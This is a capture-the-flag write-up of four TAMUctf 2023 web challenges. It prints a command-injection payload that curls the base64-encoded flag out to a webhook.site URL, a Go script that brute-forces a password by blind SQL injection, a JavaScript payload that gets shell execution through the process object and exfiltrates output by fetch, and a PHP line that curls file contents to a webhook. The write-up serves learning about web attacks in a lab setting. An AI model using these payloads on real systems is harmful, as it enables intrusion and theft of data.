3 min read

TAMU CTF 2K23 Web challenges

Table of Contents

Introduction

Over the weekend, I had some time so I joined the TAMUctf2k23, and I couldn’t resist the web challenges, even though I initially planned to focus on reversing. Following my new habit i took note on everything, albeit in a messy way. However, I believe that these notes could be helpful to others, so I decided to share them. In this writeup, I’ll cover some of the challenges I encountered, I wanted to finish the rest but well I was too tired xd and after spending 2h on Lost and forgotten I couldn’t spare more time.

Connect

Connect Challenge Connect analysis

Example of payload

We can omit the echo HTTPX123 but I added to make sure I get an output.

s;curl+"https%3a//webhook.site/bda69915-ab5f-4ab9-a87b-1e658a2f0fd2%3fdata%3d$(cat+/flag.txt|base64)"|echo+"HTTPX123"

Connect Burp Exploit view Receiving flag Decoding flag

Logical

Logical challenge

It’s a blind SQL Injection vulnerability. You can try several output and see that it works by the variation of the output. I used golang to thread it. Well, you have to order them later or add a channel and parse the string :D

package main

import (
 "bytes"
 "fmt"
 "io"
 "sync"

 "net/http"
 "strings"
)

type Response struct {
 Res string `json:"res"`
}
var wg sync.WaitGroup

func testX(charIndex int){
 var currentIndex = 30
 var currentCharIndex=1
  defer wg.Done()
 for currentIndex<140{

  body := []byte(fmt.Sprintf("username=admin'+and+substr(password,%d,1)=CHAR(%d);+-- ", charIndex,currentIndex))
  // body := []byte(fmt.Sprintf("username=admin'+and+substr(password,%d,1)=CHAR(%d);+-- ", charIndex,currentIndex))
  // fmt.Println("Current body", string(body))
  r, err := http.NewRequest("POST", "http://logical.tamuctf.com/api/chpass", bytes.NewBuffer(body))
  r.Header.Add("Content-Type","application/x-www-form-urlencoded")
  if err != nil {
   panic(err)
  }
  client := &http.Client{}
  res, err := client.Do(r)
  if err != nil {
   panic(err)
  }

  defer res.Body.Close()
  bodyBytes, err := io.ReadAll(res.Body)
  if err != nil {
   panic(err)
  }
      bodyString := string(bodyBytes)
      // fmt.Println(bodyString)
  if strings.Contains(bodyString,"not exists") {
   currentIndex++
  } else {
   fmt.Println("Found char ",charIndex, string(rune(currentIndex)))
   currentCharIndex++
   currentIndex = 0

  }
 }

}

func main() {
wg.Add(22)
i:=0
 for i<23 {

  go testX(i)
  i++
 }

 wg.Wait()

}

Migraine

Migraine Challenge

I stumbled on this article of portswigger researcher Non-Alphanumeric JS Well then after some googling I found a project that does the encoding for me ( Thankfully xd ). Encode JS to non parenthesis JS

So All I had to do is use it to generate my payload

Migraine JS to non Parenthesis Js Response in browser and flag

Back to this challenge, my solve was retracted as I did it with an already polluted environment :,)

Well, That’s what we got from the admin

Discord message from admin

Well, lo and behold I am about to solve it again.

The source code doesn’t change. Yet now require doesn’t work. It will give out undefined. So I went looking for a way to execute

MainModule Process keys Process keys print

Okay now I can get the mainModule. However the child*process module cannot be loaded as the *cannot be transfered into non alphanumeric JS. I had to find a workaround. It was easy. You see it in\_preloaded_modules. It’s the first char and how to append it when we can’t just + our way

["String_here"].concat("meow").join("") > String_heremeow;

Now we got all the pieces.

Also a good mention that nc and curl are not available. So I had to use fetch. To get the : character for the URL I used base64 decode. Now the final payload will be

Payload generation

fetch(["https"].concat(atob("Og==")).concat("//enmxw9zlg1zp.x.pipedream.net/data=").concat(process[Object.keys(process)[74]].require(["child"].concat(Object.keys(process)[71][0]).concat("process").join("")).execSync("cat /flag.txt").toString()).join(""))

Got flag here :D

Blackbox

Blackbox challenge

LFI testing

And yeah we can execute php code !

Php info executing

I exploited this vulnerability thousands of times in HTB seasons. So I just used the script to generate a payload after confirming it. I didn’t get a reverse shell. I had only to curl it back to my webhook.

Synactiv Chain Generator

<?= `curl "WEBHOOK_URI/data=$(cat /flag.txt|base64)"`?>

Final words

In particular, I thoroughly enjoyed the Migraine challenge. It was a unique and challenging task that required a combination of technical skills and creative thinking. The satisfaction of finally solving it was unparalleled. Well I hope it wasn’t a hard read. I tried to polish my notes into something human readable.

Cool image If you got any questions feel free to ask me on twitter @YBK_Firelights or on discord Ophelius#3779. Happy hacking \o/ 🧨⚡